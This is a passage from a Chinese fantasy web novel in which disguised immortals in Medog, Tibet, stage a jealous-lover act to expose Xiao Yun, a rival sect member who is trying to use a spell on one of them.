道士不服气:“凭什么不让拍啊,这又不是谁家。” “这边是军事控制区!”士兵大声说。 道士还想说什么,被李寅寅一手捂着嘴,一手收了三脚架:“不好意思,我们不知道。” 士兵指着手机:“拍的照片要删掉!” 道士:“我没拍照!” 士兵伸手要过手机,检查了一下,确实没照片,就将手机还给他。 道士:“我就说我没拍么,刚才一直在直播,怎么可能拍照。” 士兵睁大了眼睛:“你在直播?!” 李寅寅痛苦扭头。 直播,就是已经放到公开平台出去了。 这比拍照还严重啊。 士兵也不知道应该怎么办,叫来班长:“他们刚才在这边搞直播。” 班长的脸色也变了:“你们这些网红真是……” 他皱着眉头点进了道士的直播间数据,想看看刚才这是惹了多大的祸。 数据显示,刚才直播最高在线人数:2人。 班长没说完的话说不出来了,还想把“网红”两个字吞回去。 按流程,还问了他们是从哪里来的,检查了身份证,打电话到他们原籍确认有没有犯罪记录之类的事情。 最后班长把证件和手机都还给他们了,告诉他们,这里有军事设备,所以不能拍,希望他们能遵守禁令。 进入墨脱县城,司机开车送他们去最高的莲花雕塑转了一圈,再把他们送进宾馆,他的使命就结束了。 道士发愁:“这里边境管这么严,我们只能半夜去那边了。” 李寅寅笑道:“既然你有这样的烦恼,九菊一派的人拿的是日本护照,他们受的限制比咱们还多。” “能有多少?” “外国人必须执入藏函和外国人旅行证才能进西藏,基本上,就是只有旅行团才能搞定这些东西。”李寅寅扬唇一笑,“墨脱县,不开放,拿什么证件都不能进,看见他们,都不用斗法术,直接拿法律就行,高低判他们一个间谍罪。” 现在离天黑还有一段时间,大家都想看看这传说中的莲花密境,苑雪要看这里的植被分布,道士一心想靠边境再近一点,苏灵衣被藏香鸡勾了魂,李寅寅独自走在街上,这里虽说是最后一个通公路的县,但其实很多年以前就有季节性的公路了,一年通三个月的车,县城里的一切都很现代化,并没有想象中的那么落后……除了,没有任何商家入驻外卖平台,躺在酒店点外卖的梦想破灭了。 路边上有很多售卖以当地石材做成的石锅,李寅寅很好奇它们炖出来的鸡到底能比高压锅好吃成什么样,正跟操着四川口音的老板东拉西扯的时候,一个容貌秀美,身材纤细的少年也走进店里,拿起一只大号石锅:“呀,好重。” 说着,手上一歪,锅盖几乎滑落坠地。 李寅寅及时伸手替他扶住了锅盖,那个少年赶紧把锅放下,一副惊魂未定的样子:“差点惹祸了,谢谢姐姐帮我。” 他个头比李寅寅高一点,低头道谢的样子,却极为害羞,眼睫毛扑闪扑闪,就像一个从言情小说里走出来的青涩男大学生。 “没事,小心一点。” 墨脱县城没什么地方可逛,李寅寅打算回去了,在酒店旁边的蜜雪冰城,她又看见了那个少年。 他看见李寅寅,十分开心地向她挥手:“真巧又遇到你了,我请你喝奶茶,多谢救命之恩。” “哪就救命了。”李寅寅笑道。 “那个石锅三千块呢,刚才老板不是说了嘛,盖子和锅是一块石头雕出来的,新配都不好配,要是真打碎了,我肯定得赔三千呀。” 少年真诚地看着她:“就让我还你的人情嘛。想喝什么?” “柠檬水。” “好!” 店员是新来的,一时忘了标准流程,把吸管和杯子往李寅寅面前一推,自己又跑去做另一杯了。 少年笑着接过吸管,撕了一半,将吸管插进杯子里,再将另外半截扔掉,将杯子递给李寅寅。 李寅寅笑道:“很熟练嘛。” “是呀,我在奶茶店打过暑期工。要不是这次来西藏玩,我现在也跟她一样,在喊欢迎光临呢。” 两人谈笑风生,少年眼角余光一瞥,看见街对面的苏灵衣,脸色比多雄拉雪山还冰冷,他的笑容更盛。 刚好回来的道士拍拍苏灵衣:“他长的那娘炮样,李寅寅不会喜欢他的。区区四块钱的柠檬水,想腐蚀谁呐!” 同样溜跶回来的苑雪认真地说:“那可不一定,寅寅姐自己就很强,她肯定不喜欢比她强的,比她弱的才会激起她的保护欲。” “不可能,女人再强,都希望自己的另一半更强,谁要一个废物啊。” “肤浅!” “你还小,将来你就明白了。” …… 道士与苑雪打嘴仗,苏灵衣心烦意乱,他低下头,快步往酒店大门里走。 李寅寅一眼瞥见他们三个,笑着拉住他:“耶?你们也回来啦。” “他们是你的朋友吗?” “对啊。” 少年微笑地看着他们:“要喝奶茶吗?我请!” “无功不受禄。”苏灵衣冷着脸快步进了酒店大堂。 少年怔怔道:“他怎么了?” “不知道,可能身体不舒服。”李寅寅耸耸肩,笑道:“你们要喝不?难得在这么偏僻的地方还有雪王。” 在等奶茶的时候,少年跟他们说知道附近有一家餐厅,做石锅鸡和藏香猪特别好吃,大家可以一起去尝尝,为了感谢李寅寅帮他省了三千块,这一顿,他也请了。 那个餐厅是这条主街上最大最豪华的,苑雪和道士都看见了贴在门口的菜单,石锅鸡加藏香猪要800块。 这下连苑雪和道士都觉得不能让他请,都推说吃过了。 听见隔壁房间有动静,苏灵衣从床上一跃而起,却只看见苑雪和道士:“李寅寅呢?” 道士耸耸肩,冲楼下努努嘴:“那个小哥请她吃八百块的晚饭了,啧啧,这才第一次见面,他真是大方啊,要是我,我也被腐蚀了。” 苑雪同情地看着他:“你要不就跟着去吃?反正不吃白不吃嘎。正好盯着他们聊什么。” “她这么做,一定有她的原因!你们都别去打扰她,别给她打电话……”苏灵衣说完,关上房门。 苑雪与道士面面相觑:不是,谁要去打扰她,给她打电话了啊。 第74章 大家都是演员 这个自称萧云的少年说自己是南大的大学生,学国画的,到这里来是为了采风。 “看,这是我画的南迦巴瓦。”萧云把手机里的照片给她看。 李寅寅对画的鉴赏和认知水平是法医级别的, 第一要清晰,第二跟实物一样。 萧云给她看的几种画风,她的评价高度统一:跟真的一模一样。 再多的什么留白啊,笔触啦,吴带曹衣啦……那是完全感受不到。 看着萧云满心期待的模样,李寅寅努力憋出一句:“这颜料看起来挺贵的,这么多白颜料……听说你们学美术的白颜料很金贵啊?” 显然她这个角度过于清奇,连萧云都愣了一下。 “啊,对,其实不是贵,主要是如果有其他颜色混进去,那一大块就废了,特别是像我是画国画的,用的都是矿物颜料,一小块更贵。” 李寅寅好奇道:“矿物颜料是指用青金石、朱砂磨成粉吗?好像还有用珍珠的,那画一幅画得多少钱啊。” 萧云微笑:“我家里人很支持我的爱好,钱不是问题,只要画出来的画能达到最好的效果,就可以了。” “确实。”李寅寅应了一声,这事她懂啊,她也会北海觅精金,南山寻锻剑水,一把剑要几百人劳心劳力,但是好用啊,砍人脑袋如斩瓜切菜,还帮她挡过致命一击。 有钱就搞好的,这不是应该的么。 实在不行了才将就凑合。 李寅寅忽然又问:“看起来你家很不缺钱啊,砸一个三千块的锅,对你来说,也没什么吧。” 萧云笑道:“获得的情感反馈不一样,我宁愿把三千块送给你,你高兴,我看见你高兴,也高兴,也强过把锅摔了不得不赔钱带来的郁闷。” 他又说起自己来西藏的原因,是因为他在这里有几个定点资助的学校,看着那些孩子们能读上书,有机会选择自己的人生,他的心情就会很好。 “其实我很自私的,帮助别人,也只是因为这样会让我觉得我活在这个世上是有价值的,不再只是个靠家里的废物,虽然……捐助他们的钱也是家里给的。” 萧云的话里带着苦涩,他给自己倒了一杯啤酒,一饮而尽,眼圈微微有些红,整个人看起来柔弱可怜,他微微抬起头:“我的后妈带来一个弟弟,他很聪明,又很讨喜,家里长辈都很看重他,培养他做继承人,我想帮帮家里,他们说管公司很累的,不适合我这样的人,我就应该拿着画笔,不沾一点俗世尘埃。” 他举起自己的右手,无奈苦笑:“我后妈以为我不知道,她和弟弟在背后嘲笑我,说我画得那么差,还成天做梦。就当一只狗养在家里算了,后妈还让我弟弟放心,像我这种废物,是绝对不会跟他抢家产的。” “我后妈还在家族聚会的时候,当众说要把公司交给我,没有股权,只让我做公司的法人代表,我不愿意,她就笑着对亲戚们说,是我不愿意接管公司,不是她不愿意放手。”萧云抬头望着李寅寅,隔着水汽的眼睛十分可怜。 李寅寅同情地说:“她好坏哦,当了法人代表以后,公司出任何事,坐牢的都会是你。” “是啊,她以为我不知道……我虽然是学国画的,可是,经济法学我也有去过,毕竟,我外婆还给了我一个艺术品交易公司,一年也有几千万的盈利,我怎么可能一点都不懂。” 李寅寅:“她不知道你有公司?” “不知道,股份代持,公司所有人和股权信息上都没有我的名字,外婆对我很好,在我爸娶后妈的时候,就要我小心,说有了后妈就有后爸,那个时候我还不懂是什么意思,现在我明白了……真真切切地明白了。” 萧云又喝了一杯啤酒,眼圈越发红,整个人充满了期待救赎的破碎感,哪个女人看了不得母性爆发,充满怜爱。 李寅寅用公筷给他夹了一个鸡腿,温柔地说:“幸好你的外婆还对你这么好,留下了一个不错的公司。” “是啊,我外婆家富了好几代,我妈妈是她最疼爱的女儿,我的几个舅舅也都有自己的事业,这个公司和家族信托基金都给我,他们也没有意见。” 又有新的NPC出现:家族信托基金。 萧云简单的解释了一下:“信托基金每年都会划几百万给我做生活费。” 李寅寅:“嗬,这么多。” “是啊,只要我不做违法乱纪的事情,不去投资A股,不去创业,日常生活还是有保证的。”萧云的眼神越发迷离,“可是,没有人懂我,没有人明白我真正想要的是什么。” “对不起,我说太多了,跟陌生人反而能说出许多藏在心里的话,最亲近的人却要防着。谢谢你愿意听我说这么多。”萧云眼中泛着泪光,他叫来服务员付了账,摇摇晃晃向门口走去。 忽然,身子一歪,持着餐厅的门,弯着腰,不住地喘息,把服务员吓了一跳。 萧云无力地抬头看着李寅寅:“对不起,让你见笑了。这啤酒喝起来没什么,没想到度数这么高。你先走吧,我坐一会儿。” 李寅寅伸手扶住他:“回酒店睡吧,在这里坐着干什么。” 萧云与李寅寅他们住在同一个楼层,在219房间。 听见动静,苏灵衣打开房门,正好看见李寅寅扶着一个男人,从他的口袋里摸出一张房卡开门。 他忙迎了上去:“他怎么了?” 李寅寅言简意赅:“喝醉了。” “怎么喝那么多?”苏灵衣皱着眉,目光从萧云的身上扫到李寅寅的脸上。 李寅寅:“喝得不多,就两杯这边啤酒的度数高一点。” 被李寅寅放在床上的萧云喃喃道:“对不起,是我心情不好,一下子多喝了一点,姐姐没喝,就在听我说家里那些无聊的事情。哥哥,李姐姐是个好人,你不要怪她……” “好了好了,他没有要怪我,你睡吧,睡醒了,明天又是新的一天。”李寅寅抖开被子,给萧云把肚子盖上,与苏灵衣一同离开房间。 在走廊上,苏灵衣便开口:“你怎么跟一个陌生男的去吃饭,还吃了这么久?” 李寅寅:“我又不是没叫你,你不是很傲慢地走了吗?他们两个又说吃过了,难道还要我三请四邀地来拉你啊。” 苏灵衣:“你就不能检点一点吗?!你是不是对我腻了。” 李寅寅:“我可没这意思,你非要这么想,我也没办法。” 苏灵衣:“我就知道!” 李寅寅:“你知道什么,他很可怜的。” 苏灵衣:“他除了一张脸,还有什么?” 李寅寅:“他还有公司,比你厉害多了!你有什么,踩着自行车来西藏,还什么骑行318,害我晒得跟炭一样,有什么好骄傲的。” …… 与走廊一门之隔的219房间内,萧云站在门后,隔着门上的猫眼看着走廊上的两人在激烈争执,哪里还有一分酒醉的样子,整个人清醒无比,眼神冰冷。 他听见的最后一句话是:“你给我进来!我要让你知道知道,谁才是你男人!” 接着,就是228房间的门发出一声惊天动地的关门声,整条走廊都被震得猛然一抖。 萧云抬起右手,口中念念有词,一股气流如同有牵引一般,顺着一道无形的线,从门缝里钻进了228房间。 228房间里的声音清晰无比地传到萧云耳中,在房间里他们争吵、撕打、最后发出了少儿不宜的声音。 别人做完少儿不宜的事情,都会说点温存软话,228房间里传出的声音却是:“你爸欠了我家五百万,现在住院的钱都是我在付,你想离开我,先想想能不能还得起!” 萧云伸展手臂,将手枕在脑后,脸上露出得意的笑容:原来他们之间是这种关系,本来看见他吃醋着急,还以为他们之间的羁绊有多深,关系是多么的铜墙铁壁,呵,现在更容易下手了。 228房间内。 李寅寅看着那股气流撤出房间,她勾了勾手指,将自己的神识从219房间撤出,然后才将结界打开,让房间内变成一个私密空间,什么人的神识也进不来。 苏灵衣迫不及待地凑到李寅寅面前:“我的演技怎么样!就我这水平,去横店,起码能混个男五吧。” “演得很投入,就是剧本不行,太土了,什么土掉渣的霸总文学。”李寅寅一脸嫌弃。 苏灵衣不服:“这可是现在成绩最好的爆款短剧,土归土,广大群众喜欢看啊。我看那个体虚小白脸也不会有什么高尚的品味,给他来段舌战群儒,他听得懂么。” 确实,从萧云的反应来看,苏灵衣的土掉渣老梗相当成功。 “正经人谁会跟第一次见面的人说这么多啊,这也太明显了。”苏灵衣摇头。 “着急吧。”李寅寅笑笑。 苏灵衣哼了一声:“他以为还是二十年前呢。” 二十年前的西藏与“艳遇”二字高度绑定,随便翻开一篇游记,就是在旅行途中快速遇到真爱,快速一夜风流,旅行结束后各回各家各找各妈,成了一段浪漫回忆。 引得许多文艺女青年也抱着在旅途中找真爱的梦想,跑来西藏。 这些文艺女青年还有一个特性:不带钱。 零元游西藏和一百块钱游中国之类的故事也层出不穷,剧情都是小白花女主在路上逃票、蹭吃,靠好心人的施舍,最后遇到了大方又有钱,英俊又多情的男主,给她买御寒的衣服,请她吃东西,然后睡到一起。 看了无数狗血谈恋爱故事的苏灵衣替萧云做出复盘总结:“萧云现在的这套打法,在二十年前确实是成立的。只是他没有想过要升一升级,还在玩男人三分醉,演到你流泪;男人七分醉,骗到你心醉。” “他演得挺好的,真的,情绪很到位。”李寅寅认真的说,“如果他遇到的不是我,是别的女人,至少有百分之八十会对他产生同情,然后再努力一下,由怜生爱。” “那我呢!”苏灵衣急不可耐地问。 “你是靠本能出演,他请我喝奶茶的时候,你是不是真生气了?” “没有!”苏灵衣断然否认,“你都跟我说明白了,我还真跟他生气?哼,我这是演技好,连你都骗过了。” 李寅寅眉毛微动:“好的~” “他既然还在这里,就说明九菊一派的人也没有找到进入印度控制区域的办法,不然也犯不着缠着我们不放。” 苏灵衣点点头:“确实,边境防线比我想的更严格,我本来想先探探路,但是不知道为什么,我的神识就是过不去,在一个山沟里就被卡住了。” “我试试……”李寅寅找了个舒服的姿势躺下,闭上眼睛,神识往边境伸去。 边境线上确实有一道发出金光的线,那是如同结界一般的存在,防止有人向外探,也防止外面有人往里探。 李寅寅的神识试探减着向金线靠近,金线却没有一点发动攻击的意思,甚至还有一种熟悉的感觉。 李寅寅再三确认,没错,这道线不就是白虎七宿人人都会的锐金罡气吗。 它怎么会出现在这里? 从周围草木被压制生长的情况来看,这道线在这里存在已经不止一天两天了。 如果按会计科目来计算,这道线绝对不属于一次性采购,永久使用的固定资产,而是得归入运营成本,或者日常管理费用。 它会不断消耗使用者的法力,一旦法力断供,线就没了。 一般来说,它是用于“你们先走,我断后”,或者“过线者死”这种孤注一掷的场景。 正确的使用方式是:线一拉,我就跑,轰隆一声对手炸飞了。 李寅寅满怀着困惑,继续向前,咖喱味和烧香的味越来越浓。 藏南这6.8万平方公里的土地上,生活着超过百万的印度人,他们俨然把这里当成自己家,不仅建房子,还像印度那样修建神庙,几乎每一个路口,都能看到祭祀湿婆神的小神龛。 每一尊湿婆神的面前,都供奉着香、花、水果,还有一小碟红色的粉末。 信徒们在上过供以后,会用手指蘸着红粉,点在自己的额头上,他们相信这能为他们带来好运。 也有藏人在此居住,他们供奉着佛祖与菩萨。 在这里,湿婆神的力量场明显更加强大,明明发源于印度的佛祖菩萨力量差了太多,但奇就奇在,双方居然还能达成微妙的平衡,湿婆神的力量并不能将佛光完全盖住。 整个地区在李寅寅眼中看来,就是一大片暗青色的湿婆灵气中,有几团金色的佛光,再仔细看看,那几团金色的佛光都有一根细线,那道细线一直延伸到北方很远,看起来,像是拉萨。 不对,看灵息的流淌方向,好像是金光从拉萨往这里流,就像自来水龙头那样,源源不断地往这里输送能量。 李寅寅不理解这是什么路数,暗示有高僧大德在这控场?只是没办法把湿婆的青气掀了? 她看了一路,把该看的,想看的,都看完了才回去。 神识浮在半空时,她看见苏灵衣端端正正地坐在床边,全身紧绷,好像随时准备跳起来跟谁拼命。 “干嘛这么紧张?”李寅寅懒洋洋地睁开眼睛,微笑地看着苏灵衣。 苏灵衣这才稍稍放松:“我怕萧云看出你才是我们之中最强的,召唤九菊一派的高手,围攻我们。” 在李寅寅神识飞出去的这段时间,苏灵衣的脑中已经演了好几版战争电影了,包括但不限于《伟大的卫国战争》《大决战》。 苏灵衣伸手想把李寅寅扶坐起来,手还没碰到人,李寅寅腰腹一使劲,就像弹簧一样坐定,苏灵衣悄悄缩回手,问道:“情况怎么样?” “我的地盘已经住了好多印度人了,”想到自己的名下竟然有那么大一块失地,还让那么多外族人过起安稳小日子,李寅寅就气不打一处来,这不得天天下血雨,日日泥石流才能泄她心头之恨。 “对了,还有几户藏人住在那里,但是拉萨方向有光流过来,你知道是怎么回事吗?” 李寅寅把自己看见的异象说给苏灵衣听。 苏灵衣沉吟片刻:“应该是来自更高层面的支持。” “那是什么?” 苏灵衣问道:“你知道西藏活佛转世是要中央同意的吗?” “知道。”乾隆当初设计金奔巴瓶,并且制定金瓶掣签制度的时候,李寅寅还在人间瞎蹿,凑了一回热闹,毕竟是中国第一次用制度明明白白地规定了“神权君授”。 苏灵衣说:“这个制度一直沿袭至今,大小所有活佛转世,都需要向民宗委申请批准,如果符合《宗教事务条例》第三十六条、《藏传佛教活佛转世管理办法》第三条、第五和的规定,得到继位审批通过以后,才能转世。” “这么复杂?” 苏灵衣点点头:“可不呢,那个跑出去的大和尚说他要让转世在他这一代停止,北京说不行,你不能说不转世就不转世了。” “真有意思。” 苏灵衣继续说:“藏人家里都会供活佛的像,那些像,就代表着国运的认可,再怎么说,藏南也是中国的土地,就算不能把印度人全赶走,至少也得保着自己人不受欺负。” “所以,那几道流光,也就只是保一保他们不受欺负?” 苏灵衣知道她心里很不痛快,安慰道:“夫欲善其事,必先知其当然,至不惧,而徐徐图之。” 这句话是苏东坡评价晁错的,晁错提议削藩,操作手段过于激进,却不知道怎么收场,终于引得七王之乱,当时七王打出的口号就是“清君侧,诛晁错”,最终汉景帝借晁错人头一用,才将叛乱平息。 晁错正是青龙七宿之一的箕水豹下凡历劫,由于他这一壮举,天帝给他的神格上又增加了一项:主司口舌之争、调弄是非。 李寅寅“哼”了一声:“我可不是箕水豹那个笨蛋,青龙星天的人就是逊啦!” 虽然不知道怎么样才能一把收回藏南,先嘲讽一下青龙七宿的人总归是没错的。 这一夜,无事发生。 第二天,萧云起来,看见李寅寅从228房间出来,红肿着眼睛,脖子上还有可疑的红色痕迹,他忙迎上去:“姐姐,你怎么了?” “没事。”李寅寅低着头,“你别问了。” 萧云露出心痛的表情:“对不起,都是我不好,让哥哥误会你了。我去跟他解释清楚,怎么能让他欺负你!” “别去……”李寅寅的声音可怜又无助,“其实,他不打我的时候,对我还挺好的。” “不,我不信!姐姐,你别怕,你是不是怕他死缠烂打?我跟我家里人说!虽然他们看不起我,但我到底是萧家人,他们为了面子,也不会将我置之不理的。” 李寅寅摇头:“不是我怕他死缠烂打,是我欠他钱,而且……我爸的医药费,还要他帮忙……谢谢你的好意。” “欠多少?我出!”萧云豪气冲天,“萧家有赞助一家医学院,名下还有一家附属医院,伯父可以转到那里去,所有医药费可以全免。” “真的?!”李寅寅的脸上露出又惊又喜又不敢相信的表情。 “当然!”萧云做保证,并当场打电话,命人给李寅寅银行卡上打款,还保证,只要她一回程,立马就可以给她爸办转院手续。 李寅寅敬业出演“喜极而泣”,“你为什么对我这么好?我什么都没有,不知道该怎么报答你。” “我想你们来墨脱,不单只是为了旅游吧?”萧云微笑道。 李寅寅心中暗笑:这么快就图穷匕现了? 表面上,她怔怔地点了点头。 萧云又温柔地说:“你们是来干什么的?” “我不知道……他们没有告诉我,只是让我不要乱跑。” 萧云的声音带着魅惑,这是他已经用上摄魂术了:“他们不是人类,他们想要把你献祭给神明,获得更强大的力量。我可以帮你,只要你按我说的做,他们的计划就不会得逞,你就能好好的活下来。” 说着,他将一个黑色的小瓶子塞到李寅寅手里:“很简单,只要把瓶子里的东西倒在道士的身上。” “杀人……不,我害怕,我不能……”李寅寅握着小瓶子的手不住发抖,仿佛守法意识与摄魂术在激烈交锋。 “不是杀人,我怎么会让你杀人呢……”萧云抬手,将手指点在李寅寅的眉心,他看着李寅寅的眼睛,再次念道:“把瓶子里的东西倒在道士的身上……” 李寅寅的意识仿佛已经被控制,跟着一字一顿地重复。 萧云满意地露出笑容,将手松开。 此时,苏灵衣打着呵欠从房间里出来,看见萧云与李寅寅站在一起,脸上那半梦半醒的憨憨脸,秒变高冷狠戾的“安嘉和”同款表情:“一大早,你就忍不住要勾引野男人!” 萧云忙做出纯洁小白莲的模样:“哥哥,你误会了,我和姐姐只是在走廊上遇到,我们之间没什么的。” “滚!”苏灵衣喊出的这个字,饱含着真情实感,萧云急忙回房,把门关上。 李寅寅和苏灵衣回到房间,两人迫不主待地打开黑色小瓶往里看,只见瓶子里只有一道如烟似雾的红气,李寅寅忍不住笑起来:“哈……他们是想把道士的法力吸为己用啊,笑死,没有的东西,怎么吸啊。还不如买几张道士画的符呢,那还真有点用。” 苏灵衣问道:“我去把这玩意儿扔了?” “别啊,这玩意儿对普通人没伤害,我就照他说的做呗。” “可是,他一点法力都没有,一下子不就穿帮了?” 李寅寅想了想:“你知道电视剧里中枪流的血都是假的吧。” “嗯,血包嘛。” “我捐点法力给道士,稍微意思意思。” 萧云没想到李寅寅动作这么快,一下子就有强横的法力传过来,他大喜过望,快乐不过一秒,法力就断了。 他探测到,有一股强大的力量,将那道吸取法力的红气震散了。 那可是九菊一派最强的法术,竟然刚用上,就被人破了! 那道士,恐怖如斯! 萧云闭上眼睛,手中画阵,以心声与九菊一派当今掌门人前田正一传递消息:“鲸吸术被发现了。” 前田正一:“没想到,他竟然如此厉害,看来,我得亲自来会一会他。” 第75章 真吃醋还是演的啊?…… 其实墨脱没有什么好玩的,它的全部价值是在来的路上,无论是通麦天险,还是当年徒步翻过多雄拉雪山的徒步路线,各有各的风景。 遇上泥石流够道士吹一年,直播间也总算有了点流量。 这几天的打赏超过了三块钱,让道士的工作热情倍增,一大早,他就扛着三角架到处跑,爬高下低,还跑到解放桥,哀求守桥士兵让他拍一点。 软磨硬泡,总算同意他拍上游部分,也就是中国实控地区,那里没有不能让人随便看的军事设施。 苑雪也在这里,知道酒店里有九菊一派的人,她十分害怕,于是早早地就跑到解放桥,想离部队近一点。 她相信连年兽都能被火药吓跑,九菊一派的妖法,在火药和口径面前一定也毫无作用。 道士拍了几张上游的照片,有些索然无味,平平凡凡一江水。 他转过身,跟苑雪一起看向印度实控区方向:“哎,你说怎么就咱们的后勤跟不上呢,不然咱们还能去那里拍,看那个,好像是个塔……说不定是什么象雄古国、古格遗民留下的文物呢……” 那个方向实在太远,道士的视力相当不错,也只能看到一个褐红色的点点,能看清楚,还是靠着远方的雪山做背景,才能看出来一点点。 苑雪抬头他看了一眼:“不是文物,新修的房子,上面还有卫星天线呢。” “你怎么看见的?”道士眯起眼睛瞧了半天,也没瞧出来一个所以然。 他没带望远镜,全身上下唯一能看远处的只有手机,他又不敢拿出来,这瓜田李下的,就算真的只是看一看,就算不拍,也说不清楚,只能听苑雪说。 苑雪指指点点:“这边是民居,那边是田,还有……咦……” 她蹦蹦跳跳地用手指勾划着山势:“看那边,像不像一个吐舌头的女人站在那里!好像有四个胳膊,还拎着东西。” 道士盯了半天,也看不出来什么,他把头歪过来,歪过去,恨不能翻过桥栏杆,好看得再清楚一点,他们在桥上停留的时间太久,引来了守桥战士的注意。 “你们在看什么?”一个小战士过来询问。 道士指着远方:“她说那里的山像一个站着的女人,你看像吗?” 小战士也往那里瞧了半天,摇摇头:“嗐,这边的山,跟天上的星座一样,你说它像什么,就像什么。上次还有一个导游,指着水电站的值班房说那是印度人的哨所。” “哈哈哈哈哈……”道士大笑起来。 苑雪被人质疑,非常生气,手指着远方又蹦又跳:“你看嘛,那个突出来的石头就是脸,那个山坡,就是肩膀,还有那个腿,下面好像还踩着一个人。” 小战士完全看不出来,他严肃说道:“看得差不多了就走吧,不要在这里停留太长时间。” “噢……”苑雪怏怏地背着手,气鼓鼓地离开大桥,道士紧随其后,一起回到酒店。 此时,酒店里的两男一女三角关系第一阶段刚刚告一段落,苏灵衣继续稳定发挥:“他不就是比我有钱吗!你这个拜金女!他请你吃一顿饭你就意乱情迷!大晚上的跟一个野男人单独在一起,你是不想要你爸的命了吗!” “没有单独在一起,我们是在饭店里,有好多服务员!” 苏灵衣的嗓门嘹亮:“有服务员,你不就偷不着了吗!妻不如妾,妾不如婢,婢不如妓,妓不如偷,偷不如偷不着!” 李寅寅一时都没接得上话,她对苏灵衣的知识储备范围,叹为观止,他在这漫长的岁月里都学了些什么鬼东西啊。 苏灵衣见她不开口,继续激情输出:“你说话啊,怎么,心虚了!害怕了!没话说了!” “行了,他出去了。”李寅寅望着窗外,看见萧云已经走到马路对面。 苏灵衣这才清了清嗓子,调整回正常状态,忽然,萧云停下脚步,李寅寅一把搂住苏灵衣:“亲我!” 苏灵衣一秒都没有犹豫,一手搂着李寅寅的腰,一手扣着她的后脑,从窗外的视角看去,就是一个醋意冲天的男人在强吻。 萧云望向228房间窗户的时候,看见的正是这一幕,他露出微笑:看来师父说得没错,这只狐狸就是蠢货,白白修炼这么久,却只修成了人形,一点都不懂人性,不明白越是用强,越是会把人推到另外一边去,这样正好,让他多了一份助力。 现在他赶着与师父会合,之后再让这个女人帮自己动手脚。 人已经走远到没影了,苏灵衣还舍不得放手,哪怕嘴唇已经分开,他还是抱着李寅寅久久不曾放手,为了给自己的行为加上一个合理性,他还认真地附在李寅寅的耳边低声说:“说不定他还放了监视的术法,还有监控摄像头什么的,你确认一下,有没有撤干净。” “没有。”在李寅寅的神识之内,不可能有任何监视她的能量和物件可以避过她的感知。 苏灵衣小心提醒:“还有窗外会不会有无人机、那个……太空间谍卫星听说能精确到一米。” 李寅寅:“……这就不用了吧,咱们这占地面积,从头上往下看,最多四十厘米。间谍卫星也只能拍到色块。” “万一呢,小心没有过逾的。”苏灵衣的下巴搭在李寅寅的肩膀上:“再仔细检查检查。” 李寅寅:“……你就直接说,还想抱多少分钟得了。” 苏灵衣赶紧松开手:“我我我不是想占你便宜,我就是……想……那个……确保万无一失……” 李寅寅伸出手点在他的鼻子上:“你编吵架戏的桥段还是蛮不错的,找借口怎么找得这么尴尬。” “我不是找借口!真的!我可以发誓!”苏灵衣的脸上红了一片。 李寅寅摸摸他的耳朵:“红的像卤猪耳,好烫。” “是是是气温太高!!热的!!”此时苏灵衣全身上下最硬的就是嘴。 李寅寅掏出手机,打开今日天气,亮给苏灵衣看,此时外面的气温8摄氏度,促狭笑道:“你不会是发烧了吧?” “对,我就是想抱着你!”苏灵衣终于憋不住了,一气说出来,“我第一次看到你,就喜欢你,你就对我一点感觉也没有吗?” 李寅寅托着下巴:“你喜欢我什么?” “你很可爱!又有本事!一拳就把无伤打倒了!”当初李寅寅在精舍里暴打无伤的英姿,至今依旧历历在目,想到那个场景,苏灵衣就心跳加快。 “我以为你喜欢的是薛姗,或者心月狐。”李寅寅疑惑地看着他,薛姗是野蛮女友风格,心月狐是邻家女孩风格。 野蛮女友也会撒娇,邻家女孩是初恋的甜蜜。 苏灵衣有什么想不开的,会喜欢她这个跟一群男人在一起都只会盘算着应该把他们放到哪个岗位上发光发热的冷酷武将。 死在她手里的人,比死在妲己手里的多多了。 这只傻狐狸不会就是单纯是个慕强的,跟是谁没有关系,性别也可以放得开? 今天因为她暴打无伤,而喜欢她。 明天他要是遇上恢复法力的白虎七宿,会不会也喜欢他们,就连她都觉得奎木狼和毕月乌他们几个主职武将的星官,打起来的动作超级帅,就连那几个知名打星都不如他们。 还有喷火龙,虽然他没有什么花哨的动作,可是非常有敬业精神,要是苏灵衣看到他在火场里救人的样子,会不会也爱上他。 李寅寅45度仰望天花板,眼前浮现出苏灵衣见一个爱一个的模样,帅气有安全感的他就上,男女不忌,全都是他的翅膀。 “你动心过几次?”李寅寅问道。 苏灵衣语气坚定:“就这一次!” “以前你一共见过多少人?” “我见过的人可多了!我在稷下学宫、石室精舍读过书!还曾经考过科举,做过县令!我有过同学、同事,我都没有喜欢过他们!”苏灵衣坚定地看着李寅寅。 李寅寅眯起眼睛:“你的同学同事……都是男的吧,只能排队你喜欢雄性的可能。现代呢?” “我对无伤一点意思都没有!”苏灵衣恨不能指天发誓。 “从县官就直接跳到精舍了?你中间就没见过什么正常的异性吗?” 苏灵衣苦恼地想了半天,还真没有,他除了完成日常工作和领导交办的任务,就是琢磨上哪儿找纯狐族的旧人、找到妈妈。 哪里还有心思谈恋爱,跟所有人都是萍水相逢,最多算关系好一点的朋友,但是还没有来得及进一步发展,他就BIU的消失去别处了,等过几年回来,人家孩子都生了。 李寅寅拍拍他的肩膀:“你喜欢我,只是一种单纯的慕强而已,像我这么能打的女人你见得不够多,将来等你有了钱,你可以请二十个超级能打的女保镖,让她们给你打表演赛。” “我不是……”苏灵衣觉得自己对她的感情是特别的,不是单纯看拳击比赛那样寻个刺激。 但是,他也说不清楚除了觉得李寅寅动手打人好帅之外,还有什么是可以拿出来量化的项目。 “你看,你都不知道你喜欢我什么,等你再多见几个女人,跟她们正常相处一段时间,再想想,你到底是喜欢我,还是喜欢一个能给你当保镖的女人。” 苏灵衣沉默地站在窗口,脸色阴郁,如果萧云回来,会更加相信苏灵衣的暴躁人设是真的。 此时有人敲门,是苑雪回来了。 李寅寅一边走去开门,一边对苏灵衣说:“公狐狸大丈夫,别整天想谈恋爱。男儿何不带吴钩,收取关山五十州!” “我又上不了凌烟阁,再说我也不是书生,我也可以保护你。”苏灵衣小声嘀咕,转念一想,李寅寅哪里要他保护,心情更低落了。 “别灰心,万一呢。”李寅寅笑道。 门一开,苑雪就蹦进来了,压低声音问:“那个小鬼子走啦?” 李寅寅点点头:“我估计他们今天晚上就要动手,苑雪,你想办法让道士在屋里待着,别出来影响我们。” “好嘞!”苑雪从小挎民里掏出一包粉末:“正好蘑菇粉还没有用完!” 李寅寅:“……居然还有?!” “有哇,我刚才在山里新采的蘑菇嘎!”苑雪双眼放光,“不知道跟我们云南的比,效果差多少。” 